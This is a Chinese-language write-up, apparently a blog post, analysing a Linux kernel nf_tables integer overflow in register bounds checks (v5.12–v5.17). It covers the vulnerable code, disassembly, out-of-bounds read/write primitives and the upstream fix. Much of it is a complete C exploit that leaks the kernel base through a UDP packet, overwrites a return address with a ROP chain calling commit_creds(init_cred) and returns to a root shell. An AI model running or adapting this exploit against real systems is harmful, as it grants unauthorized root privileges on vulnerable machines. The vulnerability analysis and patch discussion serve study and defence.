文章目录
- 前言
- 漏洞分析
- 漏洞利用
- OOB Read
- OOB Write
- exploit
- 修复
前言
影响版本:v5.12.0~v5.17.0
测试版本:v5.17.0
编译选项:
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y
漏洞分析
nf_tables
子模块中,会对用户传入的寄存器编号进行合法性检查,防止越界访问。而在相关检查函数 nft_parse_register_load
、nft_parse_register_store
中存在整数溢出,从而导致寄存器边界检查错误,而寄存器组是内核栈上的一片连续内存,所以对寄存器的越界访问则是导致了栈溢出
这里先来说说 nf_tables
中的寄存器,我们可以把 nf_tables
看作一个寄存器"虚拟机",其 rule
就代表一个功能,expression
就是构建 rule
功能的指令,而这些指令的数据就保存在寄存器中,其对应的结构体为 struct nft_regs
:
#define NFT_REG32_NUM 20
struct nft_regs {union {u32 data[NFT_REG32_NUM];struct nft_verdict verdict;};
};
这里 data
的大小为 20 * 4 = 80
就是前面说的一片连续的内存,第一个寄存器为 verdict
寄存器,其用于对指令后续的判决,其大小为 16
字节,后面剩下的 80 - 16 = 64
字节就是数据寄存器 data regs
,在老版本中数据寄存器的大小为 16
字节,一共 4
个,16 * 4 = 64
;而在新版本中数据寄存器的大小为 4
字节,一共 16
个,4 * 16 = 64
。而为了兼容性,目前是保留了这两种寄存器类型:
enum nft_registers {NFT_REG_VERDICT,NFT_REG_1,NFT_REG_2,NFT_REG_3,NFT_REG_4,__NFT_REG_MAX,NFT_REG32_00 = 8,NFT_REG32_01,NFT_REG32_02,NFT_REG32_03,NFT_REG32_04,NFT_REG32_05,NFT_REG32_06,NFT_REG32_07,NFT_REG32_08,NFT_REG32_09,NFT_REG32_10,NFT_REG32_11,NFT_REG32_12,NFT_REG32_13,NFT_REG32_14,NFT_REG32_15,
};
这里的 NFT_REG_VERDICT
表示的就是 verdict reg
,NFT_REG_1~4
就是 16
字节的数据寄存器,NFT_REG32_00~15
就是 4
字节的数据寄存器
了解了这些,就来看下 nft_parse_register_load
函数,该函数会将用户传入的寄存器编号转化为对应的寄存器偏移,并检查合法性。nft_parse_register_store
跟它差不多,只是后者可以访问 verdict
寄存器:
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{u32 reg;int err;reg = nft_parse_register(attr); // 提取传入的寄存器号,并转换为 Netfilers 寄存器组中的下标err = nft_validate_register_load(reg, len); // 对寄存器编号进行合法性检查if (err < 0)return err;*sreg = reg; // 将寄存器下标保存在 sreg 中return 0;
}
nft_parse_register
函数主要就是解析用户传入的寄存器号,将其转化为对应的偏移:
static unsigned int nft_parse_register(const struct nlattr *attr)
{unsigned int reg;reg = ntohl(nla_get_be32(attr)); // 获取传入的寄存器号,并从网络字节序转换为主机字节序switch (reg) {// NFT_REG_SIZE = 16,NFT_REG32_SIZE = 4,NFT_REG32_00 = 8case NFT_REG_VERDICT...NFT_REG_4: // 16 字节寄存器return reg * NFT_REG_SIZE / NFT_REG32_SIZE;default: // 4 字节寄存器return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;}
}
可以看到如果传入的是 16
字节寄存器编号,则偏移为 reg * 4
;其它的值都认为是 4
字节寄存器编号,偏移为 reg - 4
其实这里就有点问题,
4
字节寄存器编号为啥不单独处理呢?
nft_validate_register_load
则是对寄存器进行合法性检查,防止越界访问:
static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{// reg < 4 ==> errorif (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL; // 【1】// len == 0 ==> errorif (len == 0) return -EINVAL;// reg * 4 + len > 80 ==> errorif (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) return -ERANGE; // 【2】return 0;
}
该函数会检查寄存器访问是否存在越界,因为寄存器组总共就 80
字节,所以这里主要就是检查 reg * 4 + len > 80
,然后 nft_parse_register_load
函数而言,其不允许寄存器为 verdict reg
,所以在 【1】
对其进行了检查
但是这里存在一个问题,上层传入的 reg
类型为 u32
,然后 reg
是枚举类型,其通常会被编译为 int
类型,len
表示数据包的长度,所以这里 reg * 4 + len
可能存在整数溢出,例如 reg = 0xffffffff,len = 0x10
,则 reg * 4 + len = 0x40000000c = 0xc > 80 is false
,所以这里成功通过检查,但是此时 reg = 0xffffffff
显然是一个不正确的寄存器下标,而在 nft_parse_register_load
函数中可以看到 sreg
为一个 u8 *
指针,所以最后保存的其实只是低字节,即 sreg = 0xff
:
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
......*sreg = reg; // 将寄存器下标保存在 sreg 中return 0;
}
当然这里 enum nft_registers
的值是在一个字节以内的,所以编译器可能会直接将其优化为一个字节,所以这里还是得结合汇编代码查看:
0xffffffff81c2e8d0 <nft_parse_register_load>: nop DWORD PTR [rax+rax*1+0x0]0xffffffff81c2e8d5 <nft_parse_register_load+5>: push rbp0xffffffff81c2e8d6 <nft_parse_register_load+6>: mov eax,DWORD PTR [rdi+0x4]0xffffffff81c2e8d9 <nft_parse_register_load+9>: bswap eax0xffffffff81c2e8db <nft_parse_register_load+11>: mov edi,eax0xffffffff81c2e8dd <nft_parse_register_load+13>: lea ecx,[rax-0x4]0xffffffff81c2e8e0 <nft_parse_register_load+16>: shl edi,0x40xffffffff81c2e8e3 <nft_parse_register_load+19>: mov rbp,rsp0xffffffff81c2e8e6 <nft_parse_register_load+22>: shr edi,0x20xffffffff81c2e8e9 <nft_parse_register_load+25>: cmp eax,0x40xffffffff81c2e8ec <nft_parse_register_load+28>: mov eax,edi ; <==== eax0xffffffff81c2e8ee <nft_parse_register_load+30>: cmova eax,ecx ; <==== eax0xffffffff81c2e8f1 <nft_parse_register_load+33>: test edx,edx0xffffffff81c2e8f3 <nft_parse_register_load+35>: je 0xffffffff81c2e911 0xffffffff81c2e8f5 <nft_parse_register_load+37>: cmp eax,0x30xffffffff81c2e8f8 <nft_parse_register_load+40>: jbe 0xffffffff81c2e911 0xffffffff81c2e8fa <nft_parse_register_load+42>: lea edx,[rdx+rax*4] ; <===== reg*4 + len0xffffffff81c2e8fd <nft_parse_register_load+45>: cmp edx,0x50 ; <====== 检查 reg*4 + len > 80 ?0xffffffff81c2e900 <nft_parse_register_load+48>: ja 0xffffffff81c2e921 0xffffffff81c2e902 <nft_parse_register_load+50>: mov BYTE PTR [rsi],al0xffffffff81c2e904 <nft_parse_register_load+52>: pop rbp0xffffffff81c2e905 <nft_parse_register_load+53>: xor eax,eax0xffffffff81c2e907 <nft_parse_register_load+55>: xor edx,edx0xffffffff81c2e909 <nft_parse_register_load+57>: xor ecx,ecx0xffffffff81c2e90b <nft_parse_register_load+59>: xor esi,esi0xffffffff81c2e90d <nft_parse_register_load+61>: xor edi,edi0xffffffff81c2e90f <nft_parse_register_load+63>: ret
从汇编代码可以看出这里就是 u32
类型的 reg
,所以这里确实是存在溢出问题的
这里还得简单说下 rule
的 expression
是如何被执行的,其就是被 nft_do_chain
函数执行的,该函数定义如下:
unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{const struct nft_chain *chain = priv, *basechain = chain;const struct nft_rule_dp *rule, *last_rule;const struct net *net = nft_net(pkt);const struct nft_expr *expr, *last;struct nft_regs regs; // <================= 栈上数据,并且没有初始化unsigned int stackptr = 0;struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];bool genbit = READ_ONCE(net->nft.gencursor);struct nft_rule_blob *blob;struct nft_traceinfo info;info.trace = false;if (static_branch_unlikely(&nft_trace_enabled))nft_trace_init(&info, pkt, ®s.verdict, basechain);
do_chain:if (genbit)blob = rcu_dereference(chain->blob_gen_1);elseblob = rcu_dereference(chain->blob_gen_0);rule = (struct nft_rule_dp *)blob->data;last_rule = (void *)blob->data + blob->size;
next_rule:regs.verdict.code = NFT_CONTINUE;for (; rule < last_rule; rule = nft_rule_next(rule)) { // 遍历 chain 中的所有 rulenft_rule_dp_for_each_expr(expr, last, rule) { // 遍历 rule 中的所有 exprif (expr->ops == &nft_cmp_fast_ops)nft_cmp_fast_eval(expr, ®s);else if (expr->ops == &nft_bitwise_fast_ops)nft_bitwise_fast_eval(expr, ®s);else if (expr->ops != &nft_payload_fast_ops || !nft_payload_fast_eval(expr, ®s, pkt))expr_call_ops_eval(expr, ®s, pkt); // 调用 expr->ops->eval() 执行 ruleif (regs.verdict.code != NFT_CONTINUE) // 检查 verdictbreak;}// 如果 verdict == NFT_BREAK, 则停止执行该 rule,跳转到下一个 ruleswitch (regs.verdict.code) {case NFT_BREAK:regs.verdict.code = NFT_CONTINUE;continue;case NFT_CONTINUE:nft_trace_packet(&info, chain, rule, NFT_TRACETYPE_RULE);continue;}break; // 否则,停止执行所有 rule, 更细致的检查 verdict}nft_trace_verdict(&info, chain, rule, ®s);// chain 处理完成后,检查 verdictswitch (regs.verdict.code & NF_VERDICT_MASK) {case NF_ACCEPT:case NF_DROP:case NF_QUEUE:case NF_STOLEN:return regs.verdict.code;}switch (regs.verdict.code) { // NFT_JUMP 表示跳转到另一个 chain, 将返回地址压栈(类似call指令)// 如果将要执行的 chain 没有设置明确的 verdict, 则恢复之前中断的执行case NFT_JUMP:if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))return NF_DROP;jumpstack[stackptr].chain = chain;jumpstack[stackptr].rule = nft_rule_next(rule);jumpstack[stackptr].last_rule = last_rule;stackptr++;fallthrough;// NFT_GOTO 表示跳转到另一个chain (不压返回地址,类似于 goto)case NFT_GOTO:chain = regs.verdict.chain;goto do_chain;case NFT_CONTINUE:case NFT_RETURN:break;default:WARN_ON_ONCE(1);}// 返回到调用栈之前的 chainif (stackptr > 0) {stackptr--;chain = jumpstack[stackptr].chain;rule = jumpstack[stackptr].rule;last_rule = jumpstack[stackptr].last_rule;goto next_rule;}nft_trace_packet(&info, basechain, NULL, NFT_TRACETYPE_POLICY);if (static_branch_unlikely(&nft_counters_enabled)) nft_update_chain_stats(basechain, pkt);// 如果没有到达明确的 verdict, 返回 chain 的 policy (默认为 accept 或 drop)return nft_base_chain(basechain)->policy;
}
可以看到这里的寄存器其实就是栈上数据,并且没有初始化,这里没有初始化,所以其存在未初始化漏洞(CVE-2022-1016
),我们可以直接读取寄存器中的值去泄漏相关数据
漏洞利用
这里主要的想法就是去 bypass kaslr
,然后利用栈溢出劫持程序执行流,这里笔者 bypass kaslr
利用的是 CVE-2022-1016
漏洞,其主要就是一个未初始化漏洞,这里还是说下 OOB R/W
原语的构造
这里主要利用到 nft_payload
、nft_payload_set
、nft_bitwise
表达式,然后配合 UDP
协议,hook
点为 OUT
点
UDP
的原因是其不需要建立连接,是一次性的,非常方便;如果使用TCP
的话,则每次都需要建立连接,而且还有一下其它的验证条件;hook
点的话随意吧,主要是看栈布局能不能够满足利用,因为通过后面的分析你可以知道,这里的越界读写是存在限制的
OOB Read
越界读主要使用 nft_bitwise
表达式:
笔者实际写利用是利用的
CVE-2022-1016
,这里是后面看其它大佬的复现报告补的
struct nft_bitwise {u8 sreg;u8 dreg;enum nft_bitwise_ops op:8;u8 len;struct nft_data mask;struct nft_data xor;struct nft_data data;
};
这里 sreg
和 dreg
共用 len
,所以 len
不能越界,得不超过 64
。然后我们可以使用 NFT_BITWISE_LSHIFT
或 NFT_BITWISE_RSHIFT
操作,并让 data = 0
,那么如果此时 sreg
如何越界,则可以将栈上的数据保存在 dreg
中,则可能泄漏相关地址
那么这里我们来计算一下该操作可以溢出的范围,我们知道我们必须得绕过 reg * 4 + len > 80
这个检查
注意:这里的
reg
是用户传入的值减了4
的
-
如果我们想要在经可能低的位置泄漏数据,则必须让
reg
的低字节足够小,也就是是len
得足够大。前面说了len
最大为64
,所以reg
低字节最小为0xf0
,所以其可以读取的范围为[0xf0*4, 0xfb*4+64]
即[0x3c0, 0x42c]
>>> for i in range(0xffffffff+1)[::-1]: ... x = (i-4) * 4 + 64 ... if x & 0xffffffff <= 80: ... print(hex(i-4)) ... 0xfffffffb 0xfffffffa 0xfffffff9 0xfffffff8 0xfffffff7 0xfffffff6 0xfffffff5 0xfffffff4 0xfffffff3 0xfffffff2 0xfffffff1 0xfffffff0
-
这里似乎还可以通过调整
len
去改变reg
的范围,但是通过第一步可以看出,其最大的reg
已经为0xfb
了,所以后面改变len
不能够再获得更大的读取范围了
所以我们需要在 n[0x3c0, 0x42c]
这个范围内去找到相关内核地址进行泄漏,主要思路如下:
- 利用
nft_bitwise
越界读取内核地址到dreg
中 - 利用
nft_payload_set
将dreg
中的内核地址设置到UDP
数据报数据部分
OOB Write
越界写主要使用 nft_payload
表达式:
struct nft_payload {enum nft_payload_bases base:8;u8 offset;u8 len;u8 dreg;
};
可以看到这里 len
的最大长度为 0xff
,所以这里 dreg
的越界范围为:
>>> for i in range(0xffffffff+1)[::-1]:
... x = (i-4) * 4 + 0xff
... if x & 0xffffffff <= 80:
... print(hex(i-4))
...
0xffffffd4
0xffffffd3
0xffffffd2
0xffffffd1
0xffffffd0
0xffffffcf
0xffffffce
0xffffffcd
0xffffffcc
0xffffffcb
0xffffffca
0xffffffc9
0xffffffc8
0xffffffc7
0xffffffc6
0xffffffc5
0xffffffc4
0xffffffc3
0xffffffc2
0xffffffc1
即 [0x304, 0x350]
之间,所以得在里面找到某个函数的返回地址进行覆盖,这里还得注意如果存在 kcanary
的话,还不能覆盖 kcanary
所以这里的利用跟内存布局的关系非常大,不同版本的内核、不同的编译选项、不同的 gcc
版本都会导致相关栈内存布局发生变化。如果 UDP+OUT
无法满足利用栈布局,则考虑换成其它 HOOK
点或使用 TCP
协议。当然笔者比较幸运,在笔者编译的 v5.17
内核中,在该范围内刚好存在相关返回地址
exploit
这里比较难搞的时,在最开始为了操作 nf_tables
,我们创建了新的命名空间,所以最后我们得进行命名空间的切换,但是笔者没有找到类似于 mov rdi, rax ; ret
效果的 gadget
,所以笔者就没有进行命名空间的切换(:但是问题不大???
最后 exploit
如下:有一定的概率失败,主要就是泄漏 kbase
的时候可能栈内存布局上没有残留的内核地址导致的
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdarg.h>#include "netlink.h"#define RULE_LEAK_ADDRESS 0
#define RULE_ROP_CHAIN 1struct udp_data {char* data;size_t size;uint16_t port;char* addr;size_t addr_size;
};struct listener_data {uint16_t port;char address[8];
};uint32_t leak_expr_dreg = NFT_REG32_00;
static struct nftnl_rule *setup_rule_for_leak(uint8_t family, const char *table, const char *chain, uint16_t port) {puts("[+] Try to bypass kaslr");struct nftnl_rule *r = NULL;r = nftnl_rule_alloc();if (r == NULL) fail_exit("nftnl_rule_alloc()");nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);// 检查 udp 端口// port at offset = 2 | len = 2puts("[+] add_cmp to check port");add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 2, 2, NFT_REG32_01);uint16_t port_net = htons(port);add_cmp(r, NFT_CMP_EQ, NFT_REG32_01, &port_net, sizeof(port_net));// leak kernel address
// puts("[+] add_bitwise to oob read");
// uint32_t expr_len = 0x20;
// uint32_t expr_sreg = NFT_REG32_01;
// uint32_t expr_dreg = NFT_REG32_05;
// uint32_t shift_data = 0;
// add_bitwise(r, NFT_BITWISE_LSHIFT, expr_len, expr_sreg, expr_dreg, shift_data);puts("[+] add_payload_set to get leak data");add_payload_set(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0x40, leak_expr_dreg);set_verdict(r, NFT_CONTINUE);return r;
}static struct nftnl_rule *setup_rule_for_rop(uint8_t family, const char *table, const char *chain, uint16_t port) {puts("[+] Try to write rop chain");struct nftnl_rule *r = NULL;r = nftnl_rule_alloc();if (r == NULL) fail_exit("nftnl_rule_alloc()");nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);puts("[+] add_payload to write rop chain");add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0xf0, 0xffffffcc);set_verdict(r, NFT_CONTINUE);return r;
}void add_rule(char *table_name, char *chain_name, char rule_type, uint16_t port) {struct mnl_socket *nl;struct nftnl_rule *r;struct nlmsghdr *nlh;struct mnl_nlmsg_batch *batch;uint8_t family;char buf[MNL_SOCKET_BUFFER_SIZE];uint32_t seq = time(NULL);int ret;family = NFPROTO_IPV4;if (rule_type == RULE_LEAK_ADDRESS)r = setup_rule_for_leak(family, table_name, chain_name, port);else if (rule_type == RULE_ROP_CHAIN)r = setup_rule_for_rop(family, table_name, chain_name, port);else fail_exit("No such rule type");if (r == NULL) fail_exit("setup_rule");nl = mnl_socket_open(NETLINK_NETFILTER);if (nl == NULL) fail_exit("mnl_socket_open()");if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)fail_exit("mnl_socket_bind()");batch = mnl_nlmsg_batch_start(buf, sizeof(buf));nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);mnl_nlmsg_batch_next(batch);nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),NFT_MSG_NEWRULE,nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,seq++);nftnl_rule_nlmsg_build_payload(nlh, r);nftnl_rule_free(r);mnl_nlmsg_batch_next(batch);nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);mnl_nlmsg_batch_next(batch);ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),mnl_nlmsg_batch_size(batch));if (ret == -1) fail_exit("mnl_socket_sendto()");mnl_nlmsg_batch_stop(batch);ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));if (ret == -1) fail_exit("mnl_socket_recvfrom()");ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);if (ret < 0) fail_exit("mnl_cb_run()");mnl_socket_close(nl);
}int e = 1;
int g = 1;
void* send_udp_packet(void *arg) {struct udp_data *leak_udp = (struct udp_data*)arg;int fd;struct sockaddr_in addr;while (g) {}fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (fd < 0) fail_exit("socket()");addr.sin_family = AF_INET;addr.sin_port = htons(leak_udp->port);addr.sin_addr.s_addr = inet_addr(leak_udp->addr);if (sendto(fd, leak_udp->data, leak_udp->size, 0, &addr, sizeof(addr)) < 0)fail_exit("sendto()");while (e) {}close(fd);pthread_exit(NULL);
}void* recv_address(void* arg) {struct listener_data *ldata = (struct listener_data*)arg;int fd, res;char buf[1024] = { 0 };struct sockaddr_in addr;fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (fd < 0) fail_exit("socket()");int reuse_address = 1;setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &reuse_address, sizeof(reuse_address));if (!inet_aton("127.0.0.1", &addr.sin_addr.s_addr)) fail_exit("inet_aton()");addr.sin_family = AF_INET;addr.sin_port = htons(ldata->port);res = bind(fd, &addr, sizeof(addr));if (res < 0) fail_exit("bind()");printf("[+] Listening on port %d\n", ldata->port);g = 0;int addr_len = sizeof(struct sockaddr_in);res = recvfrom(fd, buf, 1024-1, MSG_WAITALL, (struct sockaddr*)&addr, &addr_len);if (res == -1) fail_exit("recvform()");buf[res] = '\x00';printf("[+] recvform data len: %d\n", res);binary_dump("Leak Data", buf, res);uint64_t dic[2] = { 0xffffffff81b634ae, 0xffffffff81b5fd39 };uint64_t *ptr = (uint64_t*)buf;for (int i = 0; i < res / 8; i++) {for (int j = 0; j < 2; j++) {if ((ptr[i]&0xfff) == (dic[j]&0xfff) && ((ptr[i]>>32)&0xffffffff) == 0xffffffff&& ptr[i] > 0xffffffff81000000) {ptr[i] = ptr[i] - dic[j];memcpy(&ldata->address, &ptr[i], 8);goto OVER;}}}OVER:e = 0;pthread_exit(NULL);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}int main() {unshare_setup();save_status();system("ip link set dev lo up");system("ip addr");puts("");uint64_t kbase = 0xffffffff81000000;uint64_t koffset = 0;uint16_t port = 40004;pthread_t send_thr, recv_thr;puts("[+] Step I: Bypass kaslr");char *table_name = "leak_table";char *chain_name = "leak_chain";setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);add_rule(table_name, chain_name, RULE_LEAK_ADDRESS, port);struct udp_data leak_udp = { 0 };char *data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";char *addr = "127.0.0.1";leak_udp.data = data;leak_udp.size = 0x40;leak_udp.port = port;leak_udp.addr = addr;leak_udp.addr_size = sizeof(leak_udp.addr);pthread_create(&send_thr, NULL, send_udp_packet, (void*)&leak_udp);struct listener_data recv_data;memset(&recv_data, 0, sizeof(recv_data));recv_data.port = port;pthread_create(&recv_thr, NULL, recv_address, (void*)&recv_data);pthread_join(send_thr, NULL);pthread_join(recv_thr, NULL);dele_table(table_name);koffset = *(uint64_t*)recv_data.address;kbase += koffset;printf("[+] koffset: %#llx\n", koffset);printf("[+] kbase: %#llx\n", kbase);puts("");puts("[+] Step II: Rop chain");port += 10000;table_name = "rop_table";chain_name = "rop_chain";setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);add_rule(table_name, chain_name, RULE_ROP_CHAIN, port);uint64_t pop_rdi = koffset+0xffffffff810ade60;uint64_t pop_rsi = koffset+0xffffffff811a99a9;uint64_t commit_creds = koffset+0xffffffff810fb090;uint64_t init_cred = koffset+0xffffffff82a8b040;uint64_t find_task_by_vpid = koffset+0xffffffff810f1070;uint64_t switch_task_namespaces = koffset+0xffffffff810f92a0;uint64_t init_nsproxy = koffset+0xffffffff82a8ae00;uint64_t kpti_trampoline = koffset+0xffffffff82000ff0+0x1b;uint64_t push_rax = koffset+0xffffffff810494b8;uint64_t magic = koffset+0xffffffff81a1c02c; // push rax ; pop rdi ; jle 0xffffffff81a1c030 ; pop rbp ; xor esi, esi ; xor edi, edi ; retstruct udp_data rop_udp = { 0 };uint64_t rop[0x100/8] = {pop_rdi,init_cred,commit_creds,// pop_rdi,// getpid(),// find_task_by_vpid,// magic,// 0,// pop_rsi,// init_nsproxy,// switch_task_namespaces,kpti_trampoline,0,0,get_root_shell,user_cs,user_rflags,user_sp,user_ss};char payload[0x200] = { 0 };memcpy(payload+0x14, rop, sizeof(rop));rop_udp.data = payload;rop_udp.size = 0x100;rop_udp.port = port;rop_udp.addr = addr;rop_udp.addr_size = sizeof(rop_udp.addr);e = g = 0;pthread_create(&send_thr, NULL, send_udp_packet, (void*)&rop_udp);pthread_join(send_thr, NULL);puts("[+] EXP NERVER END");getchar();return 0;
}
效果如下:
修复
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b354..1f5a0eece0d14b 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)}EXPORT_SYMBOL_GPL(nft_parse_u32_check);-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg){unsigned int reg;reg = ntohl(nla_get_be32(attr));switch (reg) {case NFT_REG_VERDICT...NFT_REG_4:
- return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ *preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ break;
+ case NFT_REG32_00...NFT_REG32_15:
+ *preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ break;default:
- return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ return -ERANGE;}
+
+ return 0;}/**
@@ -9327,7 +9333,10 @@ int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)u32 reg;int err;- reg = nft_parse_register(attr);
+ err = nft_parse_register(attr, ®);
+ if (err < 0)
+ return err;
+err = nft_validate_register_load(reg, len);if (err < 0)return err;
@@ -9382,7 +9391,10 @@ int nft_parse_register_store(const struct nft_ctx *ctx,int err;u32 reg;- reg = nft_parse_register(attr);
+ err = nft_parse_register(attr, ®);
+ if (err < 0)
+ return err;
+err = nft_validate_register_store(ctx, reg, data, type, len);if (err < 0)return err;
最后的修复比较简单,就是对 4
字节的寄存器进行单独的处理,所以后面的 reg
被限制在有效范围内,而其为 u32
类型的计算,所以不会导致溢出,但是如果是 u8
类型的计算则会导致溢出,所以我认为还是应该把 nft_validate_register_load
函数和 nft_validate_register_store
函数的第一个参数修改为 u32